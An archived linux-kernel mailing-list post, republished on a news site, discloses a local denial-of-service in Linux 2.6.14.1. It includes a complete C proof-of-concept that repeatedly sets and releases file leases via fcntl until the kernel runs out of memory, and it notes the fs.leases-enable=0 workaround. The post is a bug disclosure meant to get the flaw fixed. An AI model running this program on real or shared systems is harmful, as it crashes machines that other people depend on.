local denial-of-service with file leases
[Posted November 16, 2005 by corbet]
| From: |
| Avi Kivity <avi-AT-argo.co.il> |
| To: |
| linux-kernel <linux-kernel-AT-vger.kernel.org> |
| Subject: |
| local denial-of-service with file leases |
| Date: |
| Thu, 10 Nov 2005 19:00:46 +0200 |
| Archive-link: |
| Article,
Thread
|
the following program will oom a the 2.6.14.1 kernel, running as an
ordinary user:
#include <unistd.h>
#include <stdlib.h>
#include <linux/fcntl.h>
int main(int ac, char **av)
{
char *fname = av[0];
int fd = open(fname, O_RDONLY);
int r;
while (1) {
r = fcntl(fd, F_SETLEASE, F_RDLCK);
if (r == -1) {
perror("F_SETLEASE, F_RDLCK");
exit(1);
}
r = fcntl(fd, F_SETLEASE, F_UNLCK);
if (r == -1) {
perror("F_SETLEASE, F_UNLCK");
exit(1);
}
}
return 0;
}
it will suck all available memory into fasync_cache, causing an oom. a
workaround is to set fs.leases-enable to 0.
this has already been reported to lkml[1] and fedora[2], with no effect.
[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589...
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691
(
Log in to post comments)